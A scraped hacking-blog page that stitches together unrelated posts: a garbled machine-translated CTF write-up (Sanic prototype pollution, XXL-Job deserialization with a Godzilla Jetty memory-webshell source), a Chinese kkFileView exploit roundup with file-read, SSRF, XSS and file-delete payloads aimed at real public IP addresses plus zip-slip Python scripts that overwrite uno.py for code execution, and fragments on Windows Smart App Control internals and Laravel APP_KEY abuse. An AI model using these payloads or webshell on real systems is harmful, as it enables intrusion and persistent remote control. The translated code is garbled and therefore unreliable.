Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113702

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

web

タイトル:Sanic's Revenge

問題解決手順

最初に、与えられた添付ファイル:を参照してください

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ここのソースコードは、管理者によって削除されたようです。私はそれに隠された大きな秘密があると聞いた

クラスPollute:

def __init __(self):

合格

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/*** secret *********')

async def Secret(リクエスト):

secret='**********************'

テキストを返します( '私のルート名を見つけることができますか?'+秘密)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir + '.'

log_file='/tmp/' + log_dir + '/access.log'

log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'

log='key:' + str(key) + '|' + 'value:' + str(value);

#ログファイルを生成します

os.system( 'mkdir /tmp /' + log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#バックアップログファイル

os.system( 'mkdir /tmp /' + log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

ソースコード:を分析します

/汚染ルートは、パラメーターキーと値を渡すことでプロトタイプチェーン汚染を実現できる汚染点pydash.set_を提供します。さらに、このルートはWAFも設定します。 WAFがトリガーされた場合、キーと値の値は /TMPディレクトリのファイルに書き込まれます

名前が不明なルートもあります。内部には秘密があると推測できますか?

プロンプトによると、ここのソースコードが完全ではないことがわかるため、完全なソースコードを取得する必要があります

ここでのエントリポイントは、プロトタイプチェーン汚染です。 file_or_directoryをルートディレクトリに汚染すると、ファイルの読み取りを実現できます。

次に、ソースコードファイル名を取得し、アクセス/static/proc/1/cmdline:にアクセスする方法を見つけます

1049983-20241007092501905-1381800438.png

次に、/start.sh:にアクセスします

1049983-20241007092502596-882819269.png

ソースコード名:2q17a58t9f65y5i8.pyを取得します

/app/2q17a58t9f65y5i8.pyにアクセスして、完全なソースコード:を取得します

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ソースコードは管理者によって削除されたようで、彼はそれに大きな秘密が隠されていると聞いた

クラスPollute:

def __init __(self):

合格

def create_log_dir(n):

ret=''

範囲(n):のiの場合

num=random.randint(0、9)

文字=chr(random.randint(97、122))

文字=chr(random.randint(65、90))

s=str(random.choice([num、letter、letter]))

ret +=s

Ret

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/wa58a1qeq59857qqrppq')

async def Secret(リクエスト):

f:としてopen( '/h111int'、 'r')

ヒント=f.read()

テキストを返す(ヒント)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/adminlook'、method=['get'])

async def adminlook(リクエスト):

#違法なログを見るためのエイジー管理者

log_dir=os.popen( 'ls /tmp -al')。read();

テキストを返す(log_dir)

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir+'.'

log_file='/tmp/'+log_dir+'/access.log'

log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'

log='key:'+str(key)+'|'+'value:'+str(value);

#generate logファイル

os.system( 'mkdir /tmp /'+log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#back up logファイル

os.system( 'mkdir /tmp /'+log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

余分なルート:WA58A1QEQ59857QQRPPQを見ることができ、ヒントを得るために直接アクセスしてください。

flag in /appですが、彼の名前を見つける必要があります!

アプリディレクトリでファイル名を表示する方法を見つける

ここでは、フラグファイルがアプリディレクトリにあることを促されますが、フラグ名はわかりません

次に、アプリディレクトリにファイルをリストする方法を見つける必要があることは明らかです

また、adminlookルートを表示することができ、 /TMPディレクトリにファイルを表示でき、違法ログはこのディレクトリに記録されています。最初に違法記録を一度トリガーしてから、adminlookルート:にアクセスします

1049983-20241007092503306-864833807.jpg

ここには2つのディレクトリがあり、そのうちの1つはバックアップディレクトリの名前であることがわかります。したがって、このディレクトリへのアクセスを使用して上部ディレクトリに移動できます。

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keywords TMPディレクトリ、そしてベース値:を汚染します

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keyword static/ddahj6 '}

また、ディレクトリ関数:を有効にすることを忘れないでください

{'key':' __ class __ \\\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\。

次に、にアクセスしてください

1049983-20241007092503888-2101886537.png

フラグ名を表示してから、 /app /45w698wqtsgqt1_flagにアクセスしてフラグを取得できます

タイトル:EasyJob

問題解決手順

添付ファイルによると、XXL-Job-Executorによるアクセスに対して不正である脆弱性であることが確認できます。次のリンクを参照してください。

https://github.com/threekiii/vulhub-reproduce/blob/master/xxl-job%20executor%20%E6%9c%AAA6%8E%88%E6%9D%83%E8%AEA%BF%E9%97%AE6A6%8歳8です

ただし、XXL-JOBバージョンは比較的古く、ヘシアンの脱派化によって引き起こされる必要があるバージョンであり、問題はインターネットから出ていないことがわかります。現時点では、メモリホースを打つことは避けられません。したがって、この質問の重要なポイントは、実際にWeb依存関係なしで桟橋の記憶馬を注入する方法です。

ハンドラーは次のようにxxljobに組み込まれています

//

//Intellijのアイデアによって.classファイルから再作成されたソースコード

//(fernflowerディセパイラーを搭載)

//

パッケージcom.xxl.job.core.rpc.netcom.jetty.server;

com.xxl.job.core.rpc.codec.rpcrequestをインポートします。

com.xxl.job.core.rpc.codec.rpcreSponseをインポートします。

com.xxl.job.core.rpc.netcom.netcomserverfactoryをインポートします。

com.xxl.job.core.rpc.serialize.hessianserializerをインポートします。

com.xxl.job.core.util.httpclientutilをインポートします。

java.io.ioexceptionをインポートします。

java.io.outputStreamをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

org.eclipse.jetty.server.requestをインポートします。

Import org.eclipse.jetty.server.handler.abstracthandler;

org.slf4j.loggerをインポートします。

org.slf4j.loggeractoryをインポートします。

Public Class JettyServerHandlerはAbstracthandlerを拡張します{

private static logger logger=loggerfactory.getLogger(jettyserverhandler.class);

public jettyserverhandler(){

}

public voidハンドル(String Target、Request Baserequest、httpservletRequestリクエスト、httpservletResponse応答)IoException、servletexception {

rpcreSponse rpcreSponse=this.doinvoke(request);

byte [] responsebytes=hessianserializer.serialize(rpcreSponse);

Response.setContentType( 'text/html; charset=utf-8');

Response.SetStatus(200);

baserequest.sethandled(true);

outputStream out=response.getOutputStream();

out.write(responsebytes);

out.flush();

}

private rpcreSponse doinvoke(httpservletrequestリクエスト){

rpcreSponse rpcreSponse;

試す {

byte [] requestbytes=httpclientutil.readbytes(request);

if(requestBytes!=null requestbytes.length!=0){

rpcrequest rpcrequest=(rpcrequest)hessianserializer.deserialize(requestbytes、rpcrequest.class);

rpcreSponse rpcreSponse=netcomserverfactory.invokeService(rpcrequest、(object)null);

RPCRESPONSEを返します。

} それ以外{

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'rpcrequest byte [] is null');

RPCRESPONSEを返します。

}

} catch(例外var5){

logger.error(var5.getMessage()、var5);

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'server-error:' + var5.getMessage());

RPCRESPONSEを返します。

}

}

}

Jettyhandler、私たちがする必要があるのは、まったく同じものを注入することだけです。ここに特定の詳細について何も言うことはありません、記憶は次のとおりです

パッケージcom.xxl.job.core;

org.eclipse.jetty.serverをインポート。*;

Import org.eclipse.jetty.server.handler.abstracthandler;

Import org.eclipse.jetty.server.handler.handlercollection;

sun.misc.unsafeをインポートします。

javax.crypto.cipherをインポートします。

javax.crypto.spec.secretkeyspecをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.servletoutputStreamをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

java.io.ioexceptionをインポートします。

java.lang.ref.Referenceをインポートします。

java.lang.reflect.fieldをインポートします。

java.lang.reflt.methodをインポートします。

java.net.urlをインポートします。

java.net.urlclassloaderをインポートします。

Java.util.scannerをインポートします。

//著者:BOOGIPOP

パブリッククラスのjettygodzillamemshellはabstracthandlerを拡張します{

string xc='3c6e0b8a9c15224a'; //鍵

文字列pass='username';

文字列md5=md5(pass + xc);

クラスペイロード;

public static string md5(string s){

文字列ret=null;

試す {

java.security.messagedigest m;

m=java.security.messagedigest.getInstance( 'md5');

m.update(s.getbytes()、0、s.length());

ret=new java.math.biginteger(1、m.digest())。toString(16).touppercase();

} catch(例外e){

}

返品;

}

public jettygodzillamemshell(){

System.out.println(1);

}

public jettygodzillamemshell(int s){

System.out.println(2);

}

static {

試す {

httpconnection valuefield=getValueField();

HandLercollection Handler=(handLercollection)valuefield.gethttpchannel()。getServer()。gethandler();

フィールド変動whenrunning=handler.getClass()。getDeclaredField( '_ MutableWhenrunning');

MutableWhenrunning.setAcc

HireHackking

kkFileView漏洞总结

0x00 kkFileview存在任意文件读取漏洞

漏洞描述 Keking KkFileview是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。Keking kkFileview 存在安全漏洞,该漏洞源于存在通过目录遍历漏洞读取任意文件,可能导致相关主机上的敏感文件泄漏。 漏洞影响 kkFileview <=3.6.0 fofa查询 body="kkFileView" 漏洞证明 r12j2c5w4yr13843.png    http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd yq0vc5iqowd13846.png

0x01 kkFileView SSR 漏洞

洞描述 kkFileview v4.1.0存在SSRF漏洞,攻击者可以利用此漏洞造成服务器端请求伪造(SSRF),远程攻击者可以通过将任意url注入url参数来强制应用程序发出任意请求。 漏洞影响 kkFileview =v4.1.0 洞证明 cseuzspieeb13847.png d4j5j5pkab313851.png http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn r45k2512yci13853.png e2pnl2pymw213854.png        

0x03 kkFileView XSS漏洞

漏洞描述 kkFileview v4.1.0存两处XSS漏洞,可能导致网站cookies泄露。 漏洞影响 kkFileview =v4.1.0 漏洞证明 http://www.baidu.com/test.txt"><img src=111 onerror=alert(1)> 编码base64: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg== url编码: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D poc1: /onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E /picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D       http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E vxkadhfxnx413857.png   http://119.91.146.127:8012/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D fhzfy4vkm0j13858.png   <svg/onload=alert(1)>编码base64: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+ url编码: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B poc2: /picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B http://119.91.146.127:8012/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B 2sc5hu2hfcz13863.png

0x04 kkFileView任意文件上传导致xss和文件包含漏洞

漏洞描述 kkFileview全版本存在文件解析漏洞,攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF,远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求 漏洞影响 kkFileView=4.1.0 漏洞证明

1、上传文件

 

eh3gubz33p013865.png  

 

 

1g4osmdvwds13867.png  

 

2、访问漏洞位置
http://139.9.101.60:8012/demo/2.html

 

me0mdnepcgr13868.png   rmzje3fvj5f13871.png  

2.文件包含:

https://file.keking.cn/demo/test1.js
image
访问:
https://file.keking.cn/demo/test14.html
image

 

0x05 kkFileView任意文件删除漏洞

漏洞描述

kkFileview v4.0.0存在任意文件删除漏洞,可能导致系统任意文件被删除

漏洞影响

kkFileview= v4.0.0

漏洞证明

/deleteFile?fileName=demo%2F..\xss.pdf
get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件) 31el1s2l2qw13878.png ceiqsllq5a413881.png

0x06 kFileView-v4.3.0~v4.40-beta 存在RCE漏洞

漏洞影响:v4.2.1 和 v4.2.0 都是影响,4.1.0不受影响

任意文件上传
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ueeeeee'
        binary2 = b'hacked_by_1ue'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件

img

上传文件并预览

img

img

发现成功穿越

RCE

可以任意文件上传,并且可以追加文件内容

经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容

import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ue'
        binary2 = b'import os\r\nos.system(\'touch /tmp/hack_by_1ue\')'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意的zip包 上传并预览

img

再随便上传一个odt文件,另其发起libreoffice任务 上传并预览

img

可以看到命令成功被执行

img

uno.py中也确实被写入了内容

   

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。

“智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

Smart App Control 預計將與Windows 22H2 一起發布,Windows 22H2 應該會在今年9 月下旬發布。

SAC 具有三種可能的狀態,其中只有一種會執行這些操作:

強制:將強制阻止惡意或不受信任的應用程序,我們將此狀態標記為1。

評估:在此模式下,該功能將繼續評估你的系統是否適合強制模式下的執行,我們將此狀態標記為2。

關:該功能被禁用。一旦禁用,除非你重新安裝操作系統,否則無法再次激活它,我們將此狀態標記為0。

SAC 安裝了解如何安裝它。此功能需要全新安裝才能激活。如果我們為Build 22621 安裝ISO 並通過install.wim 導航到包含註冊表配置單元的文件夾,那麼我們可以將SYSTEM Hive 加載到註冊表編輯器中。在CI\Policy 項中,我們可以找到值VerifiedAndReputablePolicyState設置為2(評估狀態)。

1.png

同樣在CI 項中,我們有SubKey Protected,我們可以在其中找到以下值VerifiedAndReputablePolicyStateMinValueSeen 也設置為2。

2.png

稍後我們將進一步了解如何使用這些項來控制SAC的實際狀態,我們還將了解如何保護Protected SubKey下的值以避免被篡改。

為了在升級時強制執行此操作,我們可以看到安裝ISO 在CI 的替換清單中有以下代碼:[ISO]\sources\replacementmanifests\codeintegrity-repl.man。

3.png

升級操作系統時,這段代碼將檢查註冊表值HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\VerifiedAndReputablePolicyState 是否存在,如果不存在,它將以SAC 狀態0(關閉狀態)創建。

除了這兩個新的註冊表值之外,操作系統還將在System32\CodeIntegrity\CiPolicies 文件夾中附帶兩個新的系統完整性策略文件(.cip)。

PolicyGUID:{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}強制SAC策略,當SAC狀態設置為Enforce(1)時激活;

PolicyGUID:{1283AC0F-FFF1-49AE-ADA1-8A933130CAD6} 評估SAC 策略,當SAC 狀態設置為evaluation (2)時激活;

使用WDACTools 中的CIPolicyParser 腳本,我們將兩個.cip 文件轉換為它們的.xml 表示形式。我們可以從XML 中獲取策略規則來了解這些策略的選項。設置了以下規則,兩個XML 文件都可以在附錄中找到。

啟用:UMCI;

啟用:智能安全圖授權;

啟用:開發者模式動態代碼信任;

啟用:允許補充策略;

啟用:已撤銷已過期未簽名;

啟用:繼承默認策略;

啟用:未簽名的系統完整性策略;

啟用:高級啟動選項菜單;

禁用:腳本執行;

啟用:更新策略不重啟;

啟用:有條件的Windows 鎖定策略;

啟用:審核模式(僅在SAC 評估策略中);

最後,我們可以在System32 文件夾中搜索使用前面提到的註冊表值的二進製文件/模塊。

4.png

SAC 初始化我們將這個部分分為兩個階段。第一階段我們將在Windows加載程序中討論SAC。第二階段我們將在OS初始化期間討論SAC。重要的是要了解加載程序和操作系統都在啟用SAC 中發揮作用。最後,我將添加一個部分來解釋SubKey CI\Protected 下的值保護是如何工作的。

SAC 初始化流程圖如下所示。

5.jpg

Winload 期間的SAC在本節中,我們將討論如何選擇活動SAC 狀態的SAC 策略、Winload 如何強制執行RegKey 之間的持久性和一致性以及如何將SAC 策略傳遞給內核。

6.jpg

SAC初始化的第一步在操作系統加載程序過程中提前完成。更具體地說,在準備目標(OslPrepareTarget) 期間加載SystemHive 之後。為了處理系統完整性策略,將調用函數OslpProcessSIPolicy。在此函數中,將對條件策略(SKU、EMode、SAC Enforce、SAC Evaluation)進行評估,以查看是否應該忽略或解鎖它們。 Microsoft 認為這四個策略是有條件的,因為它們可以被忽略/解鎖,這與始終適用的“MS Windows 驅動程序策略”等其他策略不同。條件策略的策略GUID 存儲在由符號g_SiConditionalPolicies 定義的全局數組中。

忽略和解鎖之間的區別非常微妙。解鎖標誌將一直被選中。另一方面,忽略標誌只會在沒有設置“Enabled:Unsigned System Integrity Policy”的策略中被選中。

要確定是否應為Enforce 或Evaluation 啟用SAC,使用以下兩個函數。

OslpShouldIgnoreUnlockableNightsWatchDesktopEnforcePolicy

OslpShouldIgnoreUnlockableNightsWatchDesktopEvalPolicy這是我們第一次看到引用Nights Watch 來表示SAC,這似乎是微軟的內部名稱。

這兩個函數的行為方式相同,唯一的區別是它們為內部評估函數提供了不同的PolicyGUID:

7.png

此函數使用PolicyGUID 參數來確定要檢查的SAC 狀態。它調用OslpGetNightsWatchDesktopRegKeyState,它返回設備中的實際SAC 狀態。如果實際SAC 狀態與正在評估的狀態匹配,則認為該策略是活動的,這過於簡化了。如果設備是WinPE 或者是否需要簽名策略,則需要進行更多檢查。即使註冊表指示SAC 處於活動狀態,這些檢查也可以使函數返回Ignore 和Unlockable。

OslpGetNightsWatchDesktopRegKeyState 的行為值得一看。此例程負責在重新啟動後保持啟用SAC 並保持兩個註冊表值之間的一致性。此例程有四種可能的情況:

VerifiedAndReputablePolicyState==VerifiedAndReputablePolicyStateMinValueSeen:值是相同的,所以直接返回值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:在上一個啟動會話期間,SAC 狀態被修改。我們從VerifiedAndReputablePolicyState 返回值,並在Protected SubKey下更新該值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:這是一個極端情況,因為VerifiedAndReputablePolicyState 永遠不應大於受保護項下的值。如果有人手動編輯值VerifiedAndReputablePolicyState,我相信這是為了保持兩個值之間的一致性。

值為3或3以上:表示無效狀態轉換並且函數將失敗。

偽代碼總結如下。

8.png

當使用安全應用程序發生SAC 狀態更改時。操作系統將寫入VerifiedAndReputablePolicyState。用戶重新啟動後,此狀態將持續存在於設備中。這意味著在SAC 狀態轉換之後,仍然可以編輯VerifiedAndReputablePolicyState,並且轉換不會在下一次重新啟動後持續存在。這讓我認為微軟只有在安裝更新時才會觸發評估模式的轉換,或者他們會要求重新啟動。顯然,在會話期間發生SAC狀態轉換時,活動策略將被更新。

一旦檢查了所有的條件策略,看看它們是可解鎖的還是應該被忽略。從每個函數獲得的值將寫入以下兩個全局變量:

g_SIPolicyConditionalPolicyConditionUnlockHasBeenMet

g_SIPolicyConditionalPolicyConditionIgnoreHasBeenMet

寫入這些全局變量的值是一個四字節數組,可以用以下結構表示

9.png

在此之後,加載程序將嘗試解析策略文件。首先將每個.cip 文件中的序列化數據加載到內存中(參見BlSIPolicyGetAllPolicyFiles)。然後從SIPolicyParsePolicyData 中的每個文件解析數據,如果有人對細節感興趣,請檢查SIPolicyInitialize 以了解如何將策略的每個部分解析為一個結構。

解析策略後,將檢查忽略和解鎖條件以查看它們是否滿足。如果滿足某個條件,則該策略將被放棄。如果不滿足任何條件,則將使用函數SIPolicySetAndUpdateActivePolicy 將策略設置為活動。

如果設置了策略選項“已啟用:未簽名的系統完整性策略”,則PolicyVersion 和PolicySignersData 將從EFI SecureBoot 私有命名空間中刪除。被刪除的變量名將由PolicyGUID和PolicyVersion/policyysignersdata字符串連接組成,只有當PolicyOptions禁用了“Enabled:Unsigned System Integrity Policy”時,才會創建這些EFI變量。

在下面的輸出中,我們可以看到SetVariable 是如何以大小0 被調用的,這將導致如果找到該變量將被刪除。

10.png

對於這兩個SAC 策略,任何EFI 變量都將被清除。之後,將通過調用SIPolicySetActivePolicy 將策略設置為活動。此調用會將策略添加到將鏈接到全局變量g_SiPolicyCtx 的節點中。 g_NumberOfSiPolicies 將相應地遞增,並且新策略的句柄將存儲在g_SiPolicyHandles 中,此變量是一個包含32 個句柄的數組,因為WDAC 一次在設備上支持多達32 個活動策略。

保存在g_SiPolicyCtx 中的SI_POLICY_CTX 結構的原型如下:

11.png

下圖顯示了三個全局變量。在我的示例中,有三個活動策略,其中一個是SAC 強制執行策略的補充策略,補充策略有助於擴展基本策略以增加策略的信任。

12.png

有了這些信息,加載程序將能夠在加載程序參數塊內構建CI 結構。這是在函數OslBuildCodeIntegrityLoaderBlock 內完成的。這個例程,除其他外,將在函數SIPolicyGetSerializedPoliciesSize 的幫助下獲得序列化SI 策略的大小。該代碼將使用全局變量g_NumberOfSiPolicies 和g_SiPolicyHandles,並且大小將存儲在LOADER_PARAMETER_CI_EXTENSION 的CodeIntegrityPolicySize 字段中。之後,將通過函數SIPolicyGetSerializedPolicies 複製序列化的數據。此數據的偏移量將存儲在字段CodeIntegrityPolicyOffset 中。此信息以及其他CI 信息將存儲在LOADER_PARAMETER_EXTENSION 的CodeIntegrityDataSize 和CodeIntegrityData 字段中,當加載程序轉換到操作系統時,加載程序參數塊作為參數傳遞。

只有序列化的有效負載會被複製。我猜之前所做的所有策略解析主要是檢查策略是否有效,如果無效則觸發SYSTEM_INTEGRITY_POLICY錯誤。還可能使用來自認證或EFI變量策略的值。

這幾乎就是我們將在winload 期間看到的SAC 初始化的全部內容。

下面的捕獲顯示了在轉換到操作系統之前如何設置這些數據。

13.png

操作系統初始化期間的SAC看看內核如何初始化CI。在此之後,我們將了解CI 如何初始化Winload 提供的策略。最後,再看看它如何從這些策略中確定SAC 是否能夠相應地採取行動。

14.jpg

在操作系統初始化期間,更具體地說是在階段1。內核將調用方法CiInitialize(由ci.dll 導出)。該函數主要用於內核和CI 交換API。內核接收SeCiCallbacks,其中包含內核將用於與CI 交互的函數指針。另一方面,CI DLL 接收SeCiPrivateApis,其中包含VSL HVCI 接口等內核函數,因此CI 可以在進行任何HVCI 驗證時通過內核觸發Hypercall。內核還將傳遞初始的CodeIntegrity 選項。這些選項由Windows 加載程序構建並存儲在LOADER_PARAMETER_CI_EXTENSION 中。這些選項最初將包含諸如CodeIntegrity BCD 選項(DisableIntegrityChecks、AllowPrereleaseSignatures、AllowFlightSignatures)和WHQL 設置之類的內容。 CI 選項存儲在全局變量g_CiOptions 中,CI 還將根據從操作系統和策略中檢索到的信息更新它們。

仍然在操作系統的第1 階段期間,內核將在整個CI 回調中調用CiInitializePolicy。該例程將接收LOADER_PARAMETER_CI_EXTENSION 作為第一個參數。該例程將調用它的私有對應項CipInitializeSiPolicy。該函數將調用SIPolicyInitializeFromSerializedPolicies 來驗證、解析和加載來自加載程序參數CI 擴展的序列化策略。與winload 相同,如果策略解析正確,則策略將添加到g_SiPolicyHandles 和g_SiPolicyCtx。更重要的是,如果正確解析了序列化策略,則將調用函數CipUpdateCiSettingsFromPolicies。此方法根據每個策略的PolicyRules 更新全局CI 設置。在此函數中,CI 將通過調用SIPolicyNightsWatchEnabled 檢查是否啟用了SAC。

15.png

這個函數很有趣,我們終於可以開始研究SI 策略結構了。該函數將調用SIPolicyQueryOneSecurityPolicy。該例程具有以下原型:

16.png

這種方法在處理SI策略時經常出現。 Since用於檢查/獲取策略中設置的SecureSettings。策略結構(我個人將該結構命名為SI_POLICY)有以下兩個成員:SecureSettingsCount 和SecureSettingsData。

17.png

解析序列化策略時,所有安全設置所需的內存將被分配並存儲在SecureSettingsData 指針中。每當CI 必須查詢安全設置時,它會調用SIPolicyQueryOneSecurityPolicy 並使用它需要查找的Provider、Key 和ValueName。在內部,該函數會將這三個值存儲在一個結構中,該結構將用作bsearch 函數中的Key。搜索的基礎將設置為策略的SecureSettingsData。 CompareFunction 設置為SIPolicySecureSettingSearchCompare。 CompareFunction 將嘗試將SECURE_SETTINGS_DATA 中的Provider、Key 和ValueName 正在查詢的內容進行匹配。每個值的比較是使用RtlCompareUnicodeString 完成的。

在我們的示例中,當查看是否啟用了SAC(在SIPolicyNightsWatchEnabled 內部)時,傳遞給查詢函數的值如下:

Provider:Microsoft

Key:WindowsLockdownPolicySettings

ValueName:VerifiedAndReputableTrustMode如果在策略中找到安全設置,則認為SAC 已啟用,並將在g_CiPolicyState 中設置值NW_ENABLED (0x4000)。

這些值也以策略的XML 格式顯示。如果你檢查附錄中的實施和評估XML,你將看到此安全設置在兩者中都設置為true。

僅僅為了完成,PolicyState是一個位字段,它可以取以下值(有些值沒有),這些值大多取自函數CiInstrumentSiPolicyInfo的ETW事件元數據。

18.png

下圖顯示了在SIPolicyNightsWatchEnabled 中調用SIPolicyQueryOneSecurityPolicy 之前的狀態,其中SAC 強制策略用於查詢。

Laravel 是一個廣泛使用的開源PHP Web 框架。它可用於相對輕鬆地創建複雜的Web 應用程序,並在許多流行的項目中使用。

在最近對該應用程序的滲透測試中,我們獲得了對框架環境文件的訪問權限。該文件包含許多敏感的Laravel 配置設置,包括應用程序APP_KEY 。

APP_KEY 用於多個與安全相關的任務,在過去,APP_KEY的信息是獲得遠程代碼執行的可靠方法,因為它用於對(序列化的)XSRF令牌簽名。了解APP_KEY的攻擊者能夠創建惡意的XSRF令牌,然後使用已知的小工具鏈,通過不安全的反序列化(CVE-2018-15133)導致RCE。

由於Lavel 5.6.30 默認禁用cookie 序列化。因此,APP_KEY不再授予一個有保證的RCE,攻擊者需要在攻擊路徑上更有創意一點。在這篇文章中,我們會重點介紹攻擊者可以利用洩露的環境文件利用的一些替代攻擊媒介。

APP_KEY 基礎知識Laravel 期望它的環境文件.env 在應用程序的根文件夾中。該文件包含幾個Laravel 配置設置,包括APP_KEY、數據庫憑據和常規設置等機密信息。文件內容的洩露(例如通過任意文件讀取漏洞)會產生嚴重影響,因為洩露的信息可能會以多種方式被濫用。

最顯著的秘密是APP_KEY,它經常可以被濫用來獲得RCE。使用APP_KEY 的最值得注意的函數是:

1.Laravel 的默認“encrypt()”和“decrypt()”函數。如果開發人員想要加密或解密任何值或對象,那麼他們很可能會使用這些函數。它們也被用來加密Laravel的會話cookie,從而進行篡改保護。

2.Laravel 還具有創建防篡改簽名URL 的內置功能。此外,大多數簽名函數使用應用程序APP_KEY 作為機密。

3.在復雜的Web 應用程序中,你可能會看到需要對時間不敏感的任務進行排隊(例如發送提醒郵件)。這樣的任務可以通過Laravel 隊列來處理。由於隊列對象可能存儲在外部,它們也使用APP_KEY 進行簽名。

我們將簡要討論過去利用APP_KEY的方式和原因,以及當前最常用的利用方式。然後,我們將詳細討論通過Laravel隊列提供程序進行攻擊的情況,它允許攻擊者利用Laravel實例,甚至不需要APP_KEY。

Laravel隊列可以通過各種隊列提供程序實現,如Amazon SQS,Redis,local等,在我們的示例中,我們將重點討論如何利用在Amazon SQS中實現的隊列。

